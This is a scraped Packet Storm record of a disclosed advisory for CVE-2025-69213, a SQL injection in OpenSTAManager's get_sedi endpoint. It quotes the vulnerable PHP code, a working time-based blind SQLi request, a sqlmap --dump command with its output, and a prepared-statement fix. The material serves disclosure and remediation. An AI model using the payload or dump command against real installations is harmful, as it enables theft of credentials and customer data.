{“lastseen”:”2026-04-13T15:50:15″,”description”:”OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in ajaxcomplete.php…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:218749″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69213″],”sourceData”:”# CVE-2025-69213: OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)\\n \\n ## Overview\\n \\n | Field | Details |\\n |—|—|\\n | **CVE ID** | [CVE-2025-69213](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-69213) |\\n | **Severity** | HIGH |\\n | **Advisory** | [View Advisory](https:\/\/github.com\/devcode-it\/openstamanager\/security\/advisories\/GHSA-w995-ff8h-rppg) |\\n | **Discovered by** | [Lukasz Rybak](https:\/\/github.com\/lukasz-rybak) |\\n \\n ## Affected Products\\n \\n – **devcode-it\/openstamanager** (versions: \\u003c= 2.9.8)\\n \\n \\n ## CWE Classification\\n \\n – CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)\\n \\n ## Details\\n \\n ## Summary\\n A SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.\\n \\n \\n ## Proof of Concept\\n \\n ### Vulnerable Code\\n **File:** `modules\/anagrafiche\/ajax\/complete.php:28`\\n \\n “`php\\n case ‘get_sedi’:\\n $idanagrafica = get(‘idanagrafica’);\\n $q = \\”SELECT id, CONCAT_WS( ‘ – ‘, nomesede, citta ) AS descrizione \\n FROM an_sedi \\n WHERE idanagrafica=’\\”.$idanagrafica.\\”‘ …\\”;\\n $rs = $dbo-\\u003efetchArray($q);\\n “`\\n \\n ### Data Flow\\n 1. **Source:** `$_GET[‘idanagrafica’]` \u2192 `get(‘idanagrafica’)`\\n 2. **Vulnerable:** User input concatenated directly into SQL query with single quotes\\n 3. **Sink:** `$dbo-\\u003efetchArray($q)` executes the malicious query\\n \\n ### Exploit\\n \\n **Manual PoC (Time-based Blind SQLi):**\\n “`http\\n GET \/ajax_complete.php?op=get_sedi\\u0026idanagrafica=1′ AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ‘1’=’1 HTTP\/1.1\\n Host: localhost:8081\\n Cookie: PHPSESSID=\\u003cvalid-session\\u003e\\n “`\\n \\u003cimg width=\\”1304\\” height=\\”580\\” alt=\\”image\\” src=\\”https:\/\/github.com\/user-attachments\/assets\/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8\\” \/\\u003e\\n \\n **SQLMap Exploitation:**\\n “`bash\\n sqlmap -u \\”http:\/\/localhost:8081\/ajax_complete.php?op=get_sedi\\u0026idanagrafica=1*\\” \\\\\\n –cookie=\\”PHPSESSID=\\u003csession\\u003e\\” \\\\\\n –dbms=MySQL \\\\\\n –technique=T \\\\\\n –level=3 \\\\\\n –dump\\n “`\\n \\n **SQLMap Output:**\\n “`\\n [INFO] URI parameter ‘#1*’ appears to be ‘MySQL \\u003e= 5.0.12 AND time-based blind (query SLEEP)’ injectable\\n Parameter: #1* (URI)\\n Type: time-based blind\\n Title: MySQL \\u003e= 5.0.12 AND time-based blind (query SLEEP)\\n Payload: idanagrafica=1′ AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)– rhVF\\n back-end DBMS: MySQL \\u003e= 5.0.12\\n “`\\n \\n \\u003cimg width=\\”1284\\” height=\\”745\\” alt=\\”image\\” src=\\”https:\/\/github.com\/user-attachments\/assets\/5c640132-4f52-46bd-96fa-14d9987d4759\\” \/\\u003e\\n \\n \\n ## Impact\\n – **Data Exfiltration:** Complete database extraction including user credentials, customer data, financial records\\n – **Privilege Escalation:** Modification of `zz_users` table to gain admin access\\n – **Data Integrity:** Unauthorized modification or deletion of records\\n – **Potential RCE:** Via `SELECT … INTO OUTFILE` if file permissions allow\\n \\n ## Affected Versions\\n – OpenSTAManager: Verified in latest version (as of December 2025)\\n – All versions using this endpoint are likely affected\\n \\n ## Remediation\\n \\n Replace direct concatenation with prepared statements:\\n \\n **Before:**\\n “`php\\n $idanagrafica = get(‘idanagrafica’);\\n $q = \\”SELECT … WHERE idanagrafica=’\\”.$idanagrafica.\\”‘ …\\”;\\n “`\\n \\n **After:**\\n “`php\\n $idanagrafica = get(‘idanagrafica’);\\n $q = \\”SELECT … WHERE idanagrafica=\\”.prepare($idanagrafica).\\” …\\”;\\n “`\\n \\n ## References\\n – OWASP SQL Injection: https:\/\/owasp.org\/www-community\/attacks\/SQL_Injection\\n – CWE-89: Improper Neutralization of Special Elements used in an SQL Command\\n \\n ## Credit\\n Discovered by: \u0141ukasz Rybak\\n \\n ## References\\n \\n – https:\/\/github.com\/devcode-it\/openstamanager\/security\/advisories\/GHSA-w995-ff8h-rppg\\n – https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-69213\\n – https:\/\/github.com\/advisories\/GHSA-w995-ff8h-rppg\\n \\n \\n ## Disclaimer\\n \\n This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218749″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218749\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-13T15:50:15″,”description”:”OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in ajaxcomplete.php…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:218749″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69213″],”sourceData”:”# CVE-2025-69213: OpenSTAManager has a SQL Injection in…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-46322","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n